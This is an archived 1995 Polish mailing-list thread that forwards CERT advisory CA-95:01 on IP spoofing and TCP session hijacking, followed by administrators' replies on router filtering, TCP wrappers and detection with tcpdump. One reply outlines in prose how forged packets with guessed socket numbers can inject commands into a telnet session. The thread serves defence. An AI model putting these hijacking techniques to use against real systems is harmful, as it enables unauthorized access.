> CERT. Ale z artykulu trudno sie domyslec...
> 
Wlasnie dostalem wypowiedz jednego z "oficjeli" CERT'u, ktory sie placze
w zeznaniach i twierdzi, ze cala sprawa ich zaskoczyla i tak naprawde do
sami jeszcze nad tym pracuja i nie bardzo wiedza co jest grane. Kazal
czekac na "mode details", ktore pojawia sie "soon...". Moim prywatnym
zdaniem (na podstawie analizy postingow z kilku list dyskusyjnych) jest
tak, ze temat nie jest zbyt dobrzez znany, a juz jest wokol niego
ogromna afera. Jedni twierdza, ze nic sie nie da zrobic (nawet odcinanie
routerami nie pomoze i na kazdej maszynie mozna miec dowolny access
itd...), inni, ze jest to b. proste.. wystarczy wylaczyc serwisy
identyfikowane poprzez IP (rsh, rlogin...) i juz jest sie bezpiecznym,
jeszczze inni wymyslaja juz zupelnie paranoiczne rzeczy. Oczywiscie
najlepsza metoda zabezpieczenia jest poki co odpiecie maszyny od sieci -
co do tego zgodni jestesmy wszyscy :))))))))

Tak naprawde, to wspomniane przez Ciebie TCP Wrappers skompilowane z
opcja PARANOID wydaja sie byc zabezpieczeniem przed niektorymi formami
atakow - w polaczeniu z ident dziala to jeszcze lepiej.

Co wiecej... wiekszosc doniesien i paniki dotyczy systemow SUN, w
ktorych wlamywacz moze instalowac ladowalne moduly do kernela i zdrowo
nimi namieszac. Tak wiec dyskusja kreci sie wokol SUN/OS. Niestety nie
ma prawie zadnych informacji o maszynach innych firm (poza routerami,
ale to inna sprawa). Osobiscie bardzo jestem ciekaw, jak to wyglada na
Silicon Graphics (SGI) - bo u nas sa glownie takie maszyny.

				Pozdrawiam,
				   -Krzysio
--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From kokowski@CS.PUT.Poznan.PL Wed Jan 25 14:26:48 1995
Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA11106; Wed, 25 Jan 95 14:25:58 +0100
Return-Path: <kokowski@CS.PUT.Poznan.PL>
Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1)
	id AA03045; Wed, 25 Jan 95 14:32:35 +0100
Subject: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals 
To: polip@zsku.p.lodz.pl (Polish Internet)
Date: Wed, 25 Jan 1995 14:18:53 +0100 (CEU)
From: Tomasz Kokowski <kokowski@CS.PUT.Poznan.PL>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Length: 12196     
Message-Id:  <9501251418.aa00755@wega.ics.tup.edu.pl>


  Przesylam kopie magazynu FlashBack (Sun) traktujacego o ostatniej serii
wlaman. *To nie bylo po source routing*.


Tomasz Kokowski


> 
> FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals
> ==========================================================================
> 
>  The CERT Coordination Center has received reports of attacks in which
>  intruders create packets with spoofed source IP addresses. These
>  attacks exploit applications that use authentication based on IP
>  addresses. This exploitation leads to user and possibly root access on
>  the targeted system. Note that this attack does not involve source
>  routing. Recommended solutions are described in Section III below.
> 
> From: cert-advisory@cert.org (CERT Advisory) 
> Address: Software Engineering Institute 
> Carnegie Mellon University 
> Pittsburgh, Pennsylvania 15213-3890 
> Phone: +1 412 268-7090 
> Fax: +1 412 268-6989 
> -------------------------------------------------------------------------
> 
> CA-95:01 CERT Advisory January 23, 1995 
> ========================================
> 
> IP Spoofing Attacks and Hijacked Terminal Connections 
> ++++++++++++++++++++++++++++++++++++++++++++++++++++++
> 
> In the current attack pattern, intruders may dynamically modify the
> kernel of a Sun 4.1.X system once root access is attained. In this
> attack, which is separate from the IP spoofing attack, intruders use a
> tool to take control of any open terminal or login session from users
> on the system. Note that although the tool is currently being used
> primarily on SunOS 4.1.x systems, the system features that make this
> attack possible are not unique to SunOS.
> 
> As we receive additional information relating to this advisory, we will
> place it, along with any clarifications, in a CA-95:01.README file.
> CERT advisories and their associated README files are available by
> anonymous FTP from info.cert.org. We encourage you to check the README
> files regularly for updates on advisories that relate to your site.
> 
> 
> 
> I. Description 
> ===============
> 
> This description summarizes both the IP spoofing technique that can
> lead to root access on a system and the tool that intruders are using
> to take over open terminal and login connections after they get root
> access. We are currently seeing attacks in which intruders combine IP
> spoofing with use of the tool. However, these are two separate actions.
> Intruders can use IP spoofing to gain root access for any purpose;
> similarly, they can highjack terminal connections regardless of their
> method of gaining root access.
> 
> IP spoofing 
> ++++++++++++
> 
> To gain access, intruders create packets with spoofed source IP
> addresses. This exploits applications that use authentication based on
> IP addresses and leads to unauthorized user and possibly root access on
> the targeted system. It is possible to route packets through
> filtering-router firewalls if they are not configured to filter
> incoming packets whose source address is in the local domain. It is
> important to note that the described attack is possible even if no
> reply packets can reach the attacker.
> 
> Examples of configurations that are potentially vulnerable include 
> 
>  o routers to external networks that support multiple internal interfaces 
> 
>  o routers with two interfaces that support subnetting on the internal
>    network
> 
>  o proxy firewalls where the proxy applications use the source IP
>    address for authentication
> 
> The IP spoofing attacks we are currently seeing are similar to those
> described in two papers: 1) "Security Problems in the TCP/IP Protocol
> Suite" by Steve Bellovin, published in _Computer Communication Review_
> vol. 19, no. 2 (April 1989) pages 32-48; 2) "A Weakness in the 4.2BSD
> Unix TCP/IP Software" by Robert T. Morris.  Both papers are available
> by anonymous FTP from
> 
> 
>            ftp.research.att.com:/dist/internet_security
> 
>            Bellovin paper: ipext.ps.Z
>            Morris paper:   117.ps.Z
> 
> Services that are vulnerable to the IP spoofing attack include 
> 
>  o SunRPC & NFS 
> 
>  o BSD UNIX "r" commands 
> 
>  o anything wrapped by the tcp daemon wrappers - site dependent; check
>    your configuration
> 
>  o X windows 
> 
>  o other applications that use source IP addresses for authentication 
> 
> Hijacking tool 
> +++++++++++++++
> 
> Once the intruders have root access on a system, they can use a tool to
> dynamically modify the UNIX kernel. This modification allows them to
> hijack existing terminal and login connections from any user on the
> system.
> 
> In taking over the existing connections, intruders can bypass one-time
> passwords and other strong authentication schemes by tapping the
> connection after the authentication is complete. For example, a
> legitimate user connects to a remote site through a login or terminal
> session; the intruder hijacks the connection after the user has
> completed the authentication to the remote location; the remote site is
> now compromised. (See Section I for examples of vulnerable
> configurations.)
> 
> Currently, the tool is used primarily on SunOS 4.1.x systems. However,
> the system features that make this attack possible are not unique to
> SunOS.
> 
> II. Impact 
> ===========
> 
> Current intruder activity in spoofing source IP addresses can lead to
> unauthorized remote root access to systems behind a filtering-router
> firewall.
> 
> After gaining root access and taking over existing terminal and login
> connections, intruders can gain access to remote hosts.
> 
> III. Solutions 
> ===============
> 
> A. Detection 
> +++++++++++++
> 
> IP spoofing 
> ------------
> 
> If you monitor packets using network-monitoring software such as
> netlog, look for a packet on your external interface that has both its
> source and destination IP addresses in your local domain. If you find
> one, you are currently under attack. Netlog is available by anonymous
> FTP from
> 
>               net.tamu.edu:/pub/security/TAMU/netlog-1.2.tar.gz
>               MD5 checksum: 1dd62e7e96192456e8c75047c38e994b
> 
> Another way to detect IP spoofing is to compare the process accounting
> logs between systems on your internal network. If the IP spoofing
> attack has succeeded on one of your systems, you may get a log entry on
> the victim machine showing a remote access; on the apparent source
> machine, there will be no corresponding entry for initiating that
> remote access.
> 
> Hijacking tool 
> ---------------
> 
> When the intruder attaches to an existing terminal or login connection,
> users may detect unusual activity, such as commands appearing on their
> terminal that they did not type or a blank window that will no longer
> respond to their commands.  Encourage your users to inform you of any
> such activity. In addition, pay particular attention to connections
> that have been idle for a long time.
> 
> Once the attack is completed, it is difficult to detect. However, the
> intruders may leave remnants of their tools. For example, you may find
> a kernel streams module designed to tap into existing TCP connections.
> 
> B. Prevention 
> ++++++++++++++
> 
> IP spoofing 
> ------------
> 
> The best method of preventing the IP spoofing problem is to install a
> filtering router that restricts the input to your external interface
> (known as an input filter) by not allowing a packet through if it has a
> source address from your internal network. In addition, you should
> filter outgoing packets that have a source address different from your
> internal network in order to prevent a source IP spoofing attack
> originating from your site.
> 
> The following vendors have reported support for this feature: 
> 
>  o Bay Networks/Wellfleet routers, version 5 and later 
>  o Cabletron - LAN Secure 
>  o Cisco - RIS software all releases of version 9.21 and later 
>  o Livingston - all versions 
> 
> If you need more information about your router or about firewalls,
> please contact your vendor directly.
> 
> If your vendor's router does not support filtering on the inbound side
> of the interface or if there will be a delay in incorporating the
> feature into your system, you may filter the spoofed IP packets by
> using a second router between your external interface and your outside
> connection. Configure this router to block, on the outgoing interface
> connected to your original router, all packets that have a source
> address in your internal network. For this purpose, you can use a
> filtering router or a UNIX system with two interfaces that supports
> packet filtering.
> 
> NOTE: Disabling source routing at the router does not protect you from
> this attack, but it is still good security practice to do so.
> 
> Hijacking tool 
> ---------------
> 
> There is no specific way to prevent use of the tool other than
> preventing intruders from gaining root access in the first place. If
> you have experienced a root compromise, see Section C for general
> instructions on how to recover.
> 
> C. Recovery from a UNIX root compromise 
> ++++++++++++++++++++++++++++++++++++++++
> 
> 
>         1. Disconnect from the network or operate the system in
>            single-user mode during the recovery.  This will keep users
>            and intruders from accessing the system.
> 
>         2. Verify system binaries and configuration files against the
>            vendor's media (do not rely on timestamp information to
>            provide an indication of modification).  Do not trust any
>            verification tool such as cmp(1) located on the compromised
>            system as it, too, may have been modified by the intruder.
>            In addition, do not trust the results of the standard UNIX
>            sum(1) program as we have seen intruders modify system
>            files in such a way that the checksums remain the same.
>            Replace any modified files from the vendor's media, not
>            from backups.
>                                 -- or --
> 
>            Reload your system from the vendor's media.
> 
>         3. Search the system for new or modified setuid root files.
> 
>                 find / -user root -perm -4000 -print
> 
>            If you are using NFS or AFS file systems, use ncheck to
>            search the local file systems.
> 
>                 ncheck -s /dev/sd0a
> 
>         4. Change the password on all accounts.
> 
>         5. Don't trust your backups for reloading any file used by
>            root.  You do not want to re-introduce files altered by an
>            intruder.
> 
> 
> 
> The CERT Coordination Center thanks Eric Allman, Steve Bellovin, Keith
> Bostic, Bill Cheswick, Mike Karels, and Tsutomu Shimomura for
> contributing to our understanding of these problems and their
> solutions.
> 
> 
> 
> If you believe that your system has been compromised, contact the CERT
> Coordination Center or your representative in Forum of Incident
> Response and Security Teams (FIRST).
> 
> If you wish to send sensitive incident or vulnerability information to
> CERT staff by electronic mail, we strongly advise that the e-mail be
> encrypted. The CERT Coordination Center can support a shared DES key,
> PGP (public key available via anonymous FTP on info.cert.org), or PEM
> (contact CERT staff for details).
> 
> Internet E-mail: cert@cert.org 
> Telephone: +1 412-268-7090 (24-hour hotline) 
> CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are
> on call for emergencies during other hours. 
> Fax: +1 412-268-6989 
> 
> CERT Coordination Center 
> Software Engineering Institute 
> Carnegie Mellon University 
> Pittsburgh, PA 15213-3890 
> USA 
> 
> Past advisories, CERT bulletins, information about FIRST
> representatives, and other information related to computer security are
> available for anonymous FTP from info.cert.org.
> 
> CERT is a service mark of Carnegie Mellon University. 
> 
> ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
> The Sun FlashBack - A Full-Text On Demand Newsletter 
> John J. McLaughlin Publisher & Editor - flash@FlashBack.COM 
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 25 19:20:16 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15061; Wed, 25 Jan 95 19:18:52 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA00718 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 19:21:11 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 25 Jan 1995 17:32:52 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3g6204$61t@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501251234.MAA03568@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:

: > Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny.
: > 

: Akurat nie jest to prawda. Polecam dyskusje na liscie firewalls.
: Tam wlasnie TCP Wraper jest wskazywany, jako jedyny dzialajacy tool,
: bedacy w stanie chocby czesciowo zabezpieczyc nas przed spoofingiem. Co
: wiecej autorzy postingow wskazuja takze na potrzebe instalacji ident'a
: (RFC 931).

Jedni pisza, ze jest bezradny. Expert pisze nam, ze jest jedyny dzialajacy.
To jak to jest do diabla?

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 25 19:20:23 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15064; Wed, 25 Jan 95 19:18:57 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA00717 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 19:21:10 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 25 Jan 1995 17:31:05 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3g61sp$61t@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501250832.JAA03380@mg.cyf-kr.edu.pl>, <3g54ml$6k3@Waldemar.mat.uni.torun.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Rafal Maszkowski (rzm@dain.oso.chalmers.se) wrote:
: Jerzy Pawlus (Jerzy.Pawlus@cyf-kr.edu.pl) wrote:

: > > Lech Borkowski (lbs@phys.ufl.edu) wrote:
: > > >    The security warning to be issued on Monday will include a list of brands of 
: > > > router computers that can use a computer program to protect against the new
: > > > attack, which is called IP, or Internet protocol, spoofing. The new defense
: > > 'New defence' to moze byc m.in. stary, dobry tcp_wrapper Wietse Venemy. Opcja,
: > Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny.

: Dopiero zabralem sie za czytanie zaleglych news. Faktycznie. Tak twierdzi
: CERT. Ale z artykulu trudno sie domyslec...

CERT to pisze tylko 'contact vendor'.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 25 19:20:25 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15067; Wed, 25 Jan 95 19:18:59 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA00719 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 19:21:10 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 25 Jan 1995 17:45:07 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3g62n3$61t@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501251242.MAA03582@hebe.umcs.lublin.pl>
Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:

: Co wiecej... wiekszosc doniesien i paniki dotyczy systemow SUN, w
: ktorych wlamywacz moze instalowac ladowalne moduly do kernela i zdrowo
: nimi namieszac. Tak wiec dyskusja kreci sie wokol SUN/OS. Niestety nie
: ma prawie zadnych informacji o maszynach innych firm (poza routerami,
: ale to inna sprawa). Osobiscie bardzo jestem ciekaw, jak to wyglada na
: Silicon Graphics (SGI) - bo u nas sa glownie takie maszyny.

Mi sie wydaje, ze panika wokol Sunow wynika jednak bardziej z ich
popularnosci, niz jakiejs specjalnym braku zabezpiczen. Faktycznie, sendmail
ichni byl i jest dziurawy jak ser, faktycznie, nfs bywal powodem roznych
brzydkich rzeczy. Jesli jednak idzie o spoofing, to wydaje mi sie (jako ze
jestem lamer, a nie expert), ze jakiej odmiany unixa uzywamy nie ma
wielkiego znaczenia...

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 26 13:41:49 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06227; Thu, 26 Jan 95 13:38:37 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id NAA17067 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 13:27:22 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 26 Jan 1995 13:12:07 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3g83in$sr8@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501251418.aa00755@wega.ics.tup.edu.pl>
Subject: Re: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals

Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) wrote:

:   Przesylam kopie magazynu FlashBack (Sun) traktujacego o ostatniej serii
: wlaman. *To nie bylo po source routing*.

No, teraz sie troche wyjasnia - rzeczywiscie, sprawa jest nieco powazniejsza 
niz pierwotnie myslalem:

: > To gain access, intruders create packets with spoofed source IP
: > addresses. This exploits applications that use authentication based on
: > IP addresses and leads to unauthorized user and possibly root access on
: > the targeted system. It is possible to route packets through
: > filtering-router firewalls if they are not configured to filter
: > incoming packets whose source address is in the local domain. It is
: > important to note that the described attack is possible even if no
: > reply packets can reach the attacker.
Innymi slowy: nie pomoze 'no ip source route' na routerze, i nie pomoze
ZADEN TCP wrapper. Nie ma bowiem sposobu, zeby TCP wrapper na docelowej
maszynie odroznil pakiet falszywy od prawdziwego. To musi robic router.
Przyznaje sie bez bicia, ze jeszcze nie wiem, jak zmusic Cisco, zeby to robilo.
Ale sie dowiem.
Oczywiscie, jesli zrodlo falszywego pakietu jest na lokalnej sieci, to router
nic nie pomoze, ale jak masz na lokalnej sieci hosty, ktorym nie mozesz ufac,
to i tak i tak kanal (ze wzgledu na mozliwosc nasluchu hasel).

: >            ftp.research.att.com:/dist/internet_security
: > 
: >            Bellovin paper: ipext.ps.Z
: >            Morris paper:   117.ps.Z
Znalazlem, przeczytalem. 

: > Services that are vulnerable to the IP spoofing attack include 
: > 
: >  o SunRPC & NFS 
: > 
: >  o BSD UNIX "r" commands 
: > 
: >  o anything wrapped by the tcp daemon wrappers - site dependent; check
: >    your configuration
: > 
: >  o X windows 
: > 
: >  o other applications that use source IP addresses for authentication 
No i to jest rzeczywiscie problem. Moge nie uzywac .rhosts, ale nie uzywac
NFS i X Windows to jest niemozliwosc.

: > In taking over the existing connections, intruders can bypass one-time
: > passwords and other strong authentication schemes by tapping the
: > connection after the authentication is complete. For example, a
: > legitimate user connects to a remote site through a login or terminal
: > session; the intruder hijacks the connection after the user has
: > completed the authentication to the remote location; the remote site is
: > now compromised. (See Section I for examples of vulnerable
: > configurations.)
To tez jest powazna sprawa - to z kolei uderza w uzytkownikow uzywajacych
np. telneta z roznych dziwnych miejsc (np. konferencji itp.), gdzie nie ma
gwarancji, ze host nie jest juz "nadgryziony".

: > If you monitor packets using network-monitoring software such as
: > netlog, look for a packet on your external interface that has both its
: > source and destination IP addresses in your local domain. If you find
: > one, you are currently under attack. Netlog is available by anonymous
Swietny pomysl, tylko na ogol do swojego ZEWNETRZNEGO interfejsu (lacza
do NASK) uzytkownik (abonent NASK) nie ma dostepu. Stawiac 2 routery jeden
za drugim? Absurd.

: > Another way to detect IP spoofing is to compare the process accounting
: > logs between systems on your internal network. If the IP spoofing
: > attack has succeeded on one of your systems, you may get a log entry on
: > the victim machine showing a remote access; on the apparent source
: > machine, there will be no corresponding entry for initiating that
: > remote access.
Zwlaszcza jak sie ma 100+ maszyn, i nie pod jednolita administracja,
przeszukiwanie logow jest fascynujace. I jeszcze 1000+ PC, gdzie logow w 
ogole nie ma.

--
                       Szymon Sokol -- Network Manager
U    U M     M M     M University of Mining and Metallurgy, Computer Center
U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
From RESZ@PLUMCS11.UMCS.LUBLIN.PL Thu Jan 26 14:35:11 1995
Received: from plumcs11.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07416; Thu, 26 Jan 95 14:34:32 +0100
Return-Path: <RESZ@PLUMCS11.UMCS.LUBLIN.PL>
Message-Id: <9501261334.AA07416@zsku.p.lodz.pl>
Received: from PLUMCS11.UMCS.LUBLIN.PL by PLUMCS11.UMCS.LUBLIN.PL
   (IBM VM SMTP V2R2) with BSMTP id 3907; Thu, 26 Jan 95 14:40:17 CET
Received: from PLUMCS11 (RESZ) by PLUMCS11.UMCS.LUBLIN.PL (Mailer R2.10 ptf000)
 with BSMTP id 3906; Thu, 26 Jan 95 14:40:16 CET
Date:         Thu, 26 Jan 95 14:01:56 CET
From: Andrzej Resztak <RESZ@PLUMCS11.UMCS.LUBLIN.PL>
Subject:      Re: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and
 Hijacked Terminals
To: polip@zsku.p.lodz.pl
In-Reply-To:  Message of Thu, 26 Jan 95 13:47:04 +0100 from
 <szymon@uci.agh.edu.pl>

On Thu, 26 Jan 95 13:47:04 +0100 Szymon Sokol said:
>Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) wrote:
>
>:   Przesylam kopie magazynu FlashBack (Sun) traktujacego o ostatniej serii
>: wlaman. *To nie bylo po source routing*.

Nie wiem co oznacza stwierdzenie *To nie bylo po source routing*,
jesli dobrze rozumiem ta nazwe to *source routing spoofing* jest
kluczowym elementem w tej sprawie.

>Innymi slowy: nie pomoze 'no ip source route' na routerze, i nie pomoze
>ZADEN TCP wrapper. Nie ma bowiem sposobu, zeby TCP wrapper na docelowej
>maszynie odroznil pakiet falszywy od prawdziwego. To musi robic router.
>Przyznaje sie bez bicia, ze jeszcze nie wiem, jak zmusic Cisco, zeby to robilo.
>Ale sie dowiem.

W wersji 9.17 dokumentacji chyba nic nie ma. Nowszej dokumentacji
nie posiadam.

>Oczywiscie, jesli zrodlo falszywego pakietu jest na lokalnej sieci, to router
>nic nie pomoze, ale jak masz na lokalnej sieci hosty, ktorym nie mozesz ufac,
>to i tak i tak kanal (ze wzgledu na mozliwosc nasluchu hasel).
>
>: >            ftp.research.att.com:/dist/internet_security
>: >
>: >            Bellovin paper: ipext.ps.Z
>: >            Morris paper:   117.ps.Z
>Znalazlem, przeczytalem.

Jesli bylo cos interesujacego lub malo znanego to napisz,
jesli znajdziesz czas :-).


>
>: > Services that are vulnerable to the IP spoofing attack include
>: >
>: >  o SunRPC & NFS
>: >
>: >  o BSD UNIX "r" commands
>: >
>: >  o anything wrapped by the tcp daemon wrappers - site dependent; check
>: >    your configuration
>: >
>: >  o X windows
>: >
>: >  o other applications that use source IP addresses for authentication
>No i to jest rzeczywiscie problem. Moge nie uzywac .rhosts, ale nie uzywac
>NFS i X Windows to jest niemozliwosc.

Znam takich co nie uzywaja :-). Jako root loguje sie zawsze tylko lokalnie,
a NFS jest bez root-access. Poza tym wrazliwe sa niemal wszystkie
serwisy. Problem tylko w tym, ze "intruz" moze miec duze klotpoty z wyslaniem
'lewego' pakietu w odpowiednim momencie i zawierajacym niekorzystne
informacje. Ale to zalezy od jego wyczucia i szczescia.

>
>: > In taking over the existing connections, intruders can bypass one-time
>: > passwords and other strong authentication schemes by tapping the
>: > connection after the authentication is complete. For example, a
>: > legitimate user connects to a remote site through a login or terminal
>: > session; the intruder hijacks the connection after the user has
>: > completed the authentication to the remote location; the remote site is
>: > now compromised. (See Section I for examples of vulnerable
>: > configurations.)
>To tez jest powazna sprawa - to z kolei uderza w uzytkownikow uzywajacych
>np. telneta z roznych dziwnych miejsc (np. konferencji itp.), gdzie nie ma
>gwarancji, ze host nie jest juz "nadgryziony".

"Remote host" nie musi byc "nadgryziony", zeby atak sie udal. Rozumiem,
ze jesli jestes w sesji telnet ktos wysyla pakiet wpisujac Twoj
source IP oraz source i destination socket numbers zawierajacy
'Enter - ciag komend do wykonania - Enter' i jesli jestes w prompcie
shell-a te komendy zostana wykonane, a jesli jestes w edytorze
to zobaczysz co ktos chcial zrobic.
   Problem jest ze zgadnieciem numerow socketow. Jesli masz konto na ktoryms
z koncow sesji telnet w ktora checesz wejsc to nie ma problemu.
Zwykle informacje o aktywnych socketach sa dostepne dla wszystkich,
ale jesli nie masz konta na zadnym koncu to pozostaje
tylko strzelanie na oslep??? Oczywiscie tak samo mozesz probowac
wejsc w istniejace sesje X-Windows,NFS czy IRC. Rozumiem wiec, ze zaden
z uzytkownikow nie moze sie czuc bezpieczny, ale tak bylo zawsze
i to powinni wiedziec. Jako administrator czuje sie za to w 100%
bezpieczny - przynajmniej w tym temacie. Bo ze dwa dni temu Krzysio
mi napisal, ze mam zbior /usr/local/bin/autoreply set-userid to root.
I to rzeczywiscie byl problem.

Andrzej
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 26 14:41:50 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07634; Thu, 26 Jan 95 14:38:37 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA18206 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 14:27:15 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 26 Jan 1995 13:15:19 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3g8797$ojd@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501251418.aa00755@wega.ics.tup.edu.pl>, <3g83in$sr8@galaxy.uci.agh.edu.pl>
Subject: Re: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals

Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
> Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) wrote:
> :   Przesylam kopie magazynu FlashBack (Sun) traktujacego o ostatniej serii
> : wlaman. *To nie bylo po source routing*.
> No, teraz sie troche wyjasnia - rzeczywiscie, sprawa jest nieco powazniejsza 
> niz pierwotnie myslalem:
> : > To gain access, intruders create packets with spoofed source IP
> : > addresses. This exploits applications that use authentication based on
> : > IP addresses and leads to unauthorized user and possibly root access on
> : > the targeted system. It is possible to route packets through
> : > filtering-router firewalls if they are not configured to filter
> : > incoming packets whose source address is in the local domain. It is
> : > important to note that the described attack is possible even if no
> : > reply packets can reach the attacker.
> Innymi slowy: nie pomoze 'no ip source route' na routerze, i nie pomoze
> ZADEN TCP wrapper. Nie ma bowiem sposobu, zeby TCP wrapper na docelowej
> maszynie odroznil pakiet falszywy od prawdziwego. To musi robic router.
> Przyznaje sie bez bicia, ze jeszcze nie wiem, jak zmusic Cisco, zeby to robilo.

Czyli source-routing tych pakietow nie jest potrzebny?

> : > If you monitor packets using network-monitoring software such as
> : > netlog, look for a packet on your external interface that has both its
> : > source and destination IP addresses in your local domain. If you find
> : > one, you are currently under attack. Netlog is available by anonymous
> Swietny pomysl, tylko na ogol do swojego ZEWNETRZNEGO interfejsu (lacza
> do NASK) uzytkownik (abonent NASK) nie ma dostepu. Stawiac 2 routery jeden
> za drugim? Absurd.

A to?
From: jgp@socrates.ceas.rochester.edu (Jim Prescott)
Newsgroups: alt.security,comp.security.misc,comp.security.unix
Subject: Re: CERT advisory -- details
[...]
        tcpdump -l ether src A:A:A:A:A:A and ! src host B.B.B.B and
                                                                src net C.C.C
where A is the ethernet address of your router port, B is the IP address
of your router and C is the network that your router routers to you.
[...]

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
